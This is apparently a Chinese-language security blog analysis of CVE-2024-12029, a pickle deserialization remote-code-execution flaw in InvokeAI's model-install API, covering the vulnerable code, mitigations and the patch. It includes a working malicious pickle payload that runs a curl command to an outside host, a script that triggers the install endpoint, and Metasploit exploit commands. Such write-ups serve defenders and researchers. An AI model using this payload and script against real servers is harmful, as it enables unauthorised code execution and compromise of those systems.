CVE-2024-12029 - InvokeAI反序列化漏洞分析与利用

本文详细分析了CVE-2024-12029漏洞,这是一个影响InvokeAI AI艺术生成工具的关键反序列化漏洞。攻击者可通过恶意模型文件实现远程代码执行,CVSS评分高达9.8。文章包含技术细节、利用步骤和修复方案。

CVE-2024-12029 – InvokeAI 不可信数据反序列化漏洞

概述

CVE-2024-12029 是流行 AI 艺术生成工具 InvokeAI 中 /api/v2/models/install API 端点存在的不可信数据反序列化漏洞。通过发送特制的模型文件,攻击者可以利用此缺陷在服务器上实现远程代码执行。

CVE ID: CVE-2024-12029
严重程度: 严重
CVSS 评分: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
EPSS 评分: 61.17%
发布日期: 2025年2月7日
影响: 远程代码执行
攻击向量: 远程
需要认证: 否
易受攻击组件: 使用不安全的 torch.load() 反序列化的模型安装 API

此漏洞影响任何将模型安装 API 暴露给不可信用户或网络的 InvokeAI 安装实例。

技术分析

/api/v2/models/install API 端点接受用户指定的模型 URL 用于下载和加载 AI 模型。InvokeAI 使用 PyTorch 的 torch.load() 函数来反序列化模型文件,但没有进行适当的验证或沙箱处理。

PyTorch 的 torch.load() 函数可以执行序列化模型文件中嵌入的任意 Python 代码。通过在恶意模型文件中嵌入 Python 代码,攻击者可以在模型在服务器端加载时实现远程代码执行。

利用条件

  • InvokeAI 实例运行易受攻击版本(5.3.1 至 5.4.2)
  • /api/v2/models/install 端点对攻击者可访问
  • 攻击者可以在 Web 服务器上托管恶意模型文件或提供其 URL
  • 模型验证和沙箱处理未正确实施
  • InvokeAI 进程具有执行嵌入恶意代码的足够权限

易受攻击代码片段

漏洞源于 invokeai/backend/model_manager/util/model_util.py 中 read_checkpoint_meta 函数对 PyTorch torch.load 的不安全使用。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
def read_checkpoint_meta(path: Union[str, Path], scan: bool = False) -> Dict[str, torch.Tensor]:
    if str(path).endswith(".safetensors"):
        try:
            path_str = path.as_posix() if isinstance(path, Path) else path
            checkpoint = _fast_safetensors_reader(path_str)
        except Exception:

            checkpoint = safetensors.torch.load_file(path, device="cpu")
    else:
        if scan:
            scan_result = scan_file_path(path)
            if scan_result.infected_files != 0:
                raise Exception(f'The model file "{path}" is potentially infected by malware. Aborting import.')
        if str(path).endswith(".gguf"):
            # The GGUF reader used here uses numpy memmap, so these tensors are not loaded into memory during this function
            checkpoint = gguf_sd_loader(Path(path), compute_dtype=torch.float32)
        else:
            checkpoint = torch.load(path, map_location=torch.device("meta"))
    return checkpoint

利用步骤

  1. 创建包含嵌入 Python 代码的恶意 PyTorch 模型文件:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import asyncio
import pickle
import requests
import torch

class Payload:
  def __reduce__(self):
      import os
      return (os.system, ('curl 192.168.48.3/rce_poc',))
    
def generate_payload():
  # Not .pkl
  with open('payload.ckpt', 'wb') as f:
    pickle.dump(Payload(), f)
  1. 在目标可访问的 Web 服务器上托管恶意模型文件
  2. 使用以下 Python 脚本触发 InvokeAI 模型安装 API 并加载恶意模型:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
def request_model_download():
  import requests

  url = "http://localhost:9090/api/v2/models/install"
  params = {
      "source": "http://192.168.48.3/payload.ckpt",
      "inplace": "true"
  }
  response = requests.post(url, params=params, json={})

request_model_download()
  1. 当 InvokeAI 尝试使用 torch.load() 加载模型时,恶意代码将被执行

使用 Metasploit 进行利用

Metasploit 包含用于此 CVE 的模块,可用于利用:

1
2
3
4
5
6
7
# In Metasploit console
use exploit/linux/http/invokeai_rce_cve_2024_12029
set RHOSTS target_ip
set RPORT 9090
set LHOST attacker_ip
set LPORT 4444
exploit

缓解措施

  • 将 InvokeAI 更新到 5.4.3 或更高版本,其中修复了不安全的反序列化
  • 使用安全的模型加载实践与 torch.load():
    • 使用带有 weights_only=True 参数的 torch.load()
    • 实施适当的输入验证和沙箱处理
    • 对可信模型源使用允许列表
  • 网络分段:限制对 /api/v2/models/install 端点的访问
  • 输入验证:在加载前验证模型文件签名和内容
  • 最小权限原则:以最小必要权限运行 InvokeAI

补丁

InvokeAI 通过将易受攻击函数中的 scan 变量默认设置为 True 来解决此问题。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
def read_checkpoint_meta(path: Union[str, Path], scan: bool = True) -> Dict[str, torch.Tensor]:
    if str(path).endswith(".safetensors"):
        try:
            path_str = path.as_posix() if isinstance(path, Path) else path
            checkpoint = _fast_safetensors_reader(path_str)
        except Exception:

            checkpoint = safetensors.torch.load_file(path, device="cpu")
    elif str(path).endswith(".gguf"):
        # The GGUF reader used here uses numpy memmap, so these tensors are not loaded into memory during this function
        checkpoint = gguf_sd_loader(Path(path), compute_dtype=torch.float32)
    else:
        if scan:
            scan_result = pscan.scan_file_path(path)
            if scan_result.infected_files != 0:
                raise Exception(f"The model at {path} is potentially infected by malware. Aborting import.")
            if scan_result.scan_err:
                raise Exception(f"Error scanning model at {path} for malware. Aborting import.")

        checkpoint = torch.load(path, map_location=torch.device("meta"))
    return checkpoint

对此漏洞的补丁可在此提交中找到:https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e

参考

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计